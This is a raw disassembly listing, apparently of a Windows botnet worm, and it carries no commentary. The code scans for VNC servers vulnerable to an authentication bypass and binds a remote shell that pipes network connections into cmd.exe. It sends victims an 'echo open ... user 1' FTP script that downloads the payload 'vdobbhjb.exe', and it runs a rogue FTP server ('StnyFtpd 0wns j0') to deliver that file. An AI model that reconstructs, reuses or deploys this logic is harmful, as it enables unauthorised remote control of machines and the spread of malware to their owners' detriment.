[esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC ; recv test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: .text:0040ECDFp ; .text:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: .text:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 ; htons mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: .text:0040EC4Bj call dword_4CBA6C ; closesocket jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: .text:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call _sscanf add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: .text:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call ??2@YAPAXI@Z ; operator new(uint) mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: .text:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call __snprintf push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] call ds:dword_427200 ; closesocket push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: .text:0040EC9Dj ; .text:0040ECC2j ... push ebx call ds:dword_427200 ; closesocket loc_40EE87: ; CODE XREF: .text:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: .text:0040EE7Ej pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EE8E proc near ; DATA XREF: sub_40EF1C+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: sub_40EE8E+25j ; sub_40EE8E+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4CE708 call dword_4CB9EC ; recv test eax, eax jle short loc_40EE97 lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4CE704 call ds:dword_4270F0 ; WriteFile jmp short loc_40EE97 sub_40EE8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EED1 proc near ; DATA XREF: sub_40EF1C+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: sub_40EED1+2Fj ; sub_40EED1+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4CE6F8 call ds:dword_4270EC ; ReadFile cmp [ebp+var_4], 0 jle short loc_40EEDA push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4CE708 call dword_4CBA24 ; send jmp short loc_40EEDA sub_40EED1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EF1C proc near ; DATA XREF: sub_401ACD+2CCAo var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch Dst = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_98] call dword_4CB9D4 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call dword_4CBA54 ; socket mov [ebp+arg_0], eax lea eax, [ebp+Dst] push 10h push eax push [ebp+arg_0] call dword_4CBA00 ; bind push 5 push [ebp+arg_0] call dword_4CB9FC ; listen mov ebx, ds:dword_427108 mov esi, ds:dword_427070 loc_40EF9C: ; CODE XREF: sub_40EF1C+1CBj push edi push edi push [ebp+arg_0] call dword_4CBA68 ; accept mov dword_4CE708, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4CE704 push offset dword_4CE700 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4CE6FC push offset dword_4CE6F8 call ebx ; CreatePipe push 44h ; Size lea eax, [ebp+var_7C] push edi ; Val push eax ; Dst call _memset mov eax, dword_4CE700 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4CE6FC mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call ds:dword_427104 ; GetCurrentProcess push eax push dword_4CE6FC call ds:dword_427104 ; GetCurrentProcess push eax call ds:dword_427100 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call ds:dword_427074 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EED1 lea eax, [ebp+var_C] push edi push eax call ds:dword_427084 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EE8E lea eax, [ebp+var_C] push edi push eax call ds:dword_427084 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call ds:dword_4270A8 ; WaitForSingleObject push edi push [ebp+var_10] call ds:dword_4270B4 ; TerminateThread push edi push [ebp+var_14] call ds:dword_4270B4 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call ds:dword_4270FC ; TerminateProcess push dword_4CE700 call esi ; CloseHandle push dword_4CE704 call esi ; CloseHandle push dword_4CE6F8 call esi ; CloseHandle push dword_4CE6FC call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40EF9C sub_40EF1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40F0EC proc near ; DATA XREF: .data:0042900Co jmp $+5 sub_40F0EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F0F1 proc near push 0FFFEh push 400h call sub_418BD1 pop ecx mov dword_4CE710, eax pop ecx retn sub_40F0F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F108 proc near ; DATA XREF: sub_40BD91+34Do Dest = byte ptr -6C0h var_2C0 = dword ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_A4] call dword_4CB9D4 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4CBA54 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F1AF cmp [ebp+var_1C], ebx jnz short loc_40F18F push ebx ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409869 add esp, 14h loc_40F18F: ; CODE XREF: sub_40F108+65j lea eax, [ebp+var_2C0] push eax call sub_415D38 push [ebp+var_AC] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_40F1AF: ; CODE XREF: sub_40F108+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CBA00 ; bind cmp eax, esi mov ebx, 400h jnz loc_40F2AA call dword_4CB968 ; WSAGetLastError cmp eax, 2740h jz short loc_40F22F xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F20F push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409869 add esp, 14h loc_40F20F: ; CODE XREF: sub_40F108+E5j lea eax, [ebp+var_2C0] push eax call sub_415D38 push [ebp+var_AC] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_40F22F: ; CODE XREF: sub_40F108+DEj push 0FFFEh push ebx call sub_418BD1 pop ecx mov dword_4CE710, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4CBA00 ; bind cmp eax, esi jnz short loc_40F2AA call dword_4CB968 ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F28A cmp eax, 2740h jz short loc_40F28A push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409869 add esp, 14h loc_40F28A: ; CODE XREF: sub_40F108+159j ; sub_40F108+160j lea eax, [ebp+var_2C0] push eax call sub_415D38 push [ebp+var_AC] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_40F2AA: ; CODE XREF: sub_40F108+CDj ; sub_40F108+14Cj push 5 push edi call dword_4CB9FC ; listen cmp eax, esi jz loc_40F38F mov [ebp+var_4], 10h mov esi, offset Str ; "vdobbhjb.exe" loc_40F2C7: ; CODE XREF: sub_40F108+1D7j ; sub_40F108+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F2C7 cmp [ebp+var_1C], 0 jnz short loc_40F308 push 0 ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409869 add esp, 14h loc_40F308: ; CODE XREF: sub_40F108+1DDj lea eax, [ebp+var_2C0] push eax call sub_415D38 pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_40F2C7 push esi push esi push dword_4CB710 push [ebp+var_B0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+Dest] push ebx ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_40F2C7 inc dword_4CE718 jmp loc_40F2C7 ; --------------------------------------------------------------------------- loc_40F38F: ; CODE XREF: sub_40F108+1ADj push edi call dword_4CBA6C ; closesocket push [ebp+var_AC] call sub_40B6D6 pop ecx push 0 call ds:dword_4270D4 ; ExitThread sub_40F108 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3AA proc near ; DATA XREF: sub_40BD91+22Ao var_A70 = byte ptr -0A70h var_8E0 = dword ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h Dst = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h Str = byte ptr -128h Dest = byte ptr -0FCh var_C8 = byte ptr -0C8h Str1 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_20], ebx mov [ebp+var_18], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call ds:dword_4271D8 ; WSAStartup push esi push ebx push 2 call ds:dword_427204 ; socket mov esi, ds:dword_4271DC lea ecx, [ebp+var_28] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_20] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push edi call ds:dword_4271E0 ; ioctlsocket mov ax, word ptr dword_4CB710 and [ebp+var_38], 0 push eax mov [ebp+var_3C], 2 call dword_4CB9D4 ; htons mov [ebp+var_3A], ax lea eax, [ebp+var_3C] push 10h push eax push edi call ds:dword_4271E4 ; bind test eax, eax jge short loc_40F470 mov eax, ebx jmp loc_40F9B8 ; --------------------------------------------------------------------------- loc_40F470: ; CODE XREF: sub_40F3AA+BDj push 0Ah push edi call ds:dword_4271E8 ; listen mov [ebp+var_22C], ebx mov ebx, ds:dword_427208 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40F48E: ; CODE XREF: sub_40F3AA+11Dj ; sub_40F3AA+606j push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_42720C ; select cmp eax, 0FFFFFFFFh jz loc_40F9B5 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40F48E loc_40F4C9: ; CODE XREF: sub_40F3AA+600j xor esi, esi push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 64h ; Size lea eax, [ebp+Str1] push esi ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426350 ; __WSAFDIsSet test eax, eax jz loc_40F9A3 cmp edi, [ebp+var_8] jnz short loc_40F580 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call ds:dword_4271EC ; accept cmp eax, 0FFFFFFFFh jz loc_40F9A3 xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40F54A lea edx, [ebp+var_228] loc_40F53A: ; CODE XREF: sub_40F3AA+19Ej cmp [edx], eax jz short loc_40F54A inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40F53A loc_40F54A: ; CODE XREF: sub_40F3AA+188j ; sub_40F3AA+192j cmp ecx, [ebp+var_22C] jnz short loc_40F568 cmp [ebp+var_22C], 40h jnb short loc_40F568 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40F568: ; CODE XREF: sub_40F3AA+1A6j ; sub_40F3AA+1AFj cmp eax, [ebp+var_4] jle short loc_40F570 mov [ebp+var_4], eax loc_40F570: ; CODE XREF: sub_40F3AA+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40F9A3 ; --------------------------------------------------------------------------- loc_40F580: ; CODE XREF: sub_40F3AA+15Aj push esi lea eax, [ebp+Dst] push 64h push eax push edi call ds:dword_4271FC ; recv test eax, eax jg short loc_40F5E7 mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40F5DB lea eax, [ebp+var_228] loc_40F5A7: ; CODE XREF: sub_40F3AA+207j cmp [eax], edi jz short loc_40F5B5 inc ecx add eax, 4 cmp ecx, edx jb short loc_40F5A7 jmp short loc_40F5DB ; --------------------------------------------------------------------------- loc_40F5B5: ; CODE XREF: sub_40F3AA+1FFj dec edx cmp ecx, edx jnb short loc_40F5D5 lea eax, [ebp+ecx*4+var_228] loc_40F5C1: ; CODE XREF: sub_40F3AA+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40F5C1 loc_40F5D5: ; CODE XREF: sub_40F3AA+20Ej dec [ebp+var_22C] loc_40F5DB: ; CODE XREF: sub_40F3AA+1F5j ; sub_40F3AA+209j push edi call ds:dword_427200 ; closesocket jmp loc_40F9A3 ; --------------------------------------------------------------------------- loc_40F5E7: ; CODE XREF: sub_40F3AA+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+Str1] push eax lea eax, [ebp+Dst] push offset aSS_3 ; "%s %s" push eax ; Src call _sscanf lea eax, [ebp+Str1] push offset aUser_1 ; "USER" push eax ; Str1 call _strcmp add esp, 18h test eax, eax jnz short loc_40F62B push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40F6AD ; --------------------------------------------------------------------------- loc_40F62B: ; CODE XREF: sub_40F3AA+272j lea eax, [ebp+Str1] push offset aPass ; "PASS" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F64C push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp short loc_40F6AD ; --------------------------------------------------------------------------- loc_40F64C: ; CODE XREF: sub_40F3AA+296j lea eax, [ebp+Str1] push offset aSyst ; "SYST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F66D push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp short loc_40F6AD ; --------------------------------------------------------------------------- loc_40F66D: ; CODE XREF: sub_40F3AA+2B7j lea eax, [ebp+Str1] push offset aRest ; "REST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F68E push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp short loc_40F6AD ; --------------------------------------------------------------------------- loc_40F68E: ; CODE XREF: sub_40F3AA+2D8j lea eax, [ebp+Str1] push offset off_43492C ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6B3 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" loc_40F6AD: ; CODE XREF: sub_40F3AA+27Cj ; sub_40F3AA+2A0j ... push edi jmp loc_40F98C ; --------------------------------------------------------------------------- loc_40F6B3: ; CODE XREF: sub_40F3AA+2F9j mov edi, offset aType ; "TYPE" lea eax, [ebp+Str1] push edi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6EF lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6EF push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40F989 ; --------------------------------------------------------------------------- loc_40F6EF: ; CODE XREF: sub_40F3AA+31Fj ; sub_40F3AA+336j lea eax, [ebp+Str1] push edi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F726 lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F726 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40F989 ; --------------------------------------------------------------------------- loc_40F726: ; CODE XREF: sub_40F3AA+356j ; sub_40F3AA+36Dj lea eax, [ebp+Str1] push offset aPasv ; "PASV" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F771 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+Str] rep movsd push eax lea eax, [ebp+Str] push eax ; Str movsw call _strlen pop ecx push eax lea eax, [ebp+Str] loc_40F764: ; CODE XREF: sub_40F3AA+406j push eax push [ebp+arg_0] call ebx ; send xor esi, esi jmp loc_40F98E ; --------------------------------------------------------------------------- loc_40F771: ; CODE XREF: sub_40F3AA+391j lea eax, [ebp+Str1] push offset aList_0 ; "LIST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F7B2 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax ; Str movsb call _strlen pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F764 ; --------------------------------------------------------------------------- loc_40F7B2: ; CODE XREF: sub_40F3AA+3DCj lea eax, [ebp+Str1] push offset aPort ; "PORT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F883 lea eax, [ebp+var_2D4] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+Dst] push offset aS_1 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax ; Src call _sscanf lea eax, [ebp+Dest] push eax ; Str call _atoi mov edi, eax lea eax, [ebp+var_2D4] push eax ; Str call _atoi mov [ebp+var_C], eax push 32h ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset add esp, 34h lea eax, [ebp+Dest] push [ebp+var_C] push edi push offset aXX ; "%x%x\n" push eax ; Dest call _sprintf push 10h ; Radix lea eax, [ebp+Dest] push esi ; EndPtr push eax ; Str call _strtoul add esp, 1Ch mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_4C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax ; Dest call _sprintf add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40F989 ; --------------------------------------------------------------------------- loc_40F883: ; CODE XREF: sub_40F3AA+41Dj lea eax, [ebp+Str1] push offset aRetr ; "RETR" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F96A push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+arg_0] call ebx ; send push [ebp+var_C] lea eax, [ebp+var_4C] push eax call sub_40F9BF pop ecx cmp eax, 1 pop ecx jnz loc_40F960 cmp [ebp+var_444], esi jnz short loc_40F8ED push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409869 add esp, 14h loc_40F8ED: ; CODE XREF: sub_40F3AA+51Ej call sub_40FA3C cmp eax, 1 jnz loc_40F98E push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+arg_0] call ebx ; send lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_8E0] push offset dword_434798 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F94B push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409869 add esp, 14h loc_40F94B: ; CODE XREF: sub_40F3AA+57Cj lea eax, [ebp+var_8E0] push eax call sub_415D38 inc dword_4CE4E0 pop ecx jmp short loc_40F98E ; --------------------------------------------------------------------------- loc_40F960: ; CODE XREF: sub_40F3AA+512j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40F989 ; --------------------------------------------------------------------------- loc_40F96A: ; CODE XREF: sub_40F3AA+4EEj lea eax, [ebp+Str1] push offset aQuit ; "QUIT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F98E push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40F989: ; CODE XREF: sub_40F3AA+340j ; sub_40F3AA+377j ... push [ebp+arg_0] loc_40F98C: ; CODE XREF: sub_40F3AA+304j call ebx ; send loc_40F98E: ; CODE XREF: sub_40F3AA+3C2j ; sub_40F3AA+54Bj ... push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset mov edi, [ebp+arg_0] add esp, 0Ch loc_40F9A3: ; CODE XREF: sub_40F3AA+151j ; sub_40F3AA+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F4C9 jmp loc_40F48E ; 